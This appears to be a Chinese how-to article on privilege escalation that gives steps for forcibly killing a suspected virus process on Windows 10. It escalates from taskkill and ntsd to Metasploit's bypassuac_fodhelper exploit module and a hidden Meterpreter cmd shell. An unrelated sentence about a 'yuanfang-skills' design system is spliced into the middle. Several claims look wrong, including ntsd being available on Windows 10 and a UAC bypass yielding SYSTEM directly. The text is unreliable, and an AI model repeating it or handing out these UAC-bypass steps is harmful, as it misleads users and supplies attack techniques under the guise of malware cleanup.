提权是攻击者利用系统漏洞从低权限提升至管理员或SYSTEM权限的技术，分为横向与纵向两类；常见手段包括漏洞利用、配置错误等，防御需遵循最小权限原则和及时打补丁。
Win10系统中遇到“拒绝访问”错误导致无法通过任务管理器或常规命令结束可疑进程，说明当前账户权限不足，需提升至SYSTEM级别才能强制终止顽固病毒进程。
确认目标进程名
按下 Ctrl+Shift+Esc 打开任务管理器 → 切换到“详细信息”选项卡 → 找到异常进程（如CPU/内存占用极高、名称可疑、无数字签名）→ 右键 → “属性” → 查看“常规”页中的“位置”字段，确认完整进程名（必须含 .exe 后缀）。
若任务管理器打不开，按 Win+R 输入 cmd 回车 → 在命令提示符中执行：tasklist /svc /fo list | findstr "conime svchost"，筛选出疑似病毒进程的映像名称。注意：不带 .exe 的名称无效，例如只写 conime 会失败，必须写 conime.exe。
用管理员权限启动CMD并尝试taskkill
右键“开始”按钮 → 选择“Windows PowerShell（管理员）”或“命令提示符（管理员）”。
输入：taskkill /im conime.exe /f /t（将 conime.exe 替换为实际进程名）→ 回车。
如果返回“拒绝访问”，说明当前管理员账户仍无足够权限操作该进程，需进入更高权限层级。
yuanfang-skills 的共享设计系统，提供 token CSS 变量、12+ 主题以及可复用的布局类型 HTML 块，供 yuanfang-html-image（以及 fu...）使用。
通过ntsd命令以调试器身份终止进程
此方法绕过常规权限检查，直接调用内核级调试接口，适用于已被提权但未达SYSTEM的管理员账户。
第一步：在管理员CMD中执行 tasklist /fi "imagename eq conime.exe" 获取目标进程PID（显示在“PID”列）。
第二步：执行 ntsd -c q -p 【PID数字】（例如 ntsd -c q -p 1234）→ 回车后进程立即终止，无提示。
⚠️ 注意：ntsd无法终止System、smss.exe等内核保护进程；若提示“无法附加”，说明该进程已受PatchGuard或第三方驱动保护，需切换至更底层方案。
使用Metasploit提权至SYSTEM后杀进程
当ntsd也失败时，表明系统已被深度加固或存在反调试机制，此时需借助渗透框架获取SYSTEM Shell再操作。
方法一：利用bypassuac_fodhelper模块提权
在已有Meterpreter会话中执行：
use post/multi/recon/local_exploit_suggester → run → 查看输出中是否含 bypassuac_fodhelper → 若存在，执行：
use exploit/windows/local/bypassuac_fodhelper → set session [ID] → run。
成功后新会话UID显示为 NT AUTHORITY\SYSTEM。
方法二：直接注入SYSTEM权限CMD
在SYSTEM级Meterpreter会话中执行：
execute -H -c -f cmd.exe → 得到SYSTEM权限的cmd通道 → 输入：taskkill /im conime.exe /f /t → 进程被彻底清除。
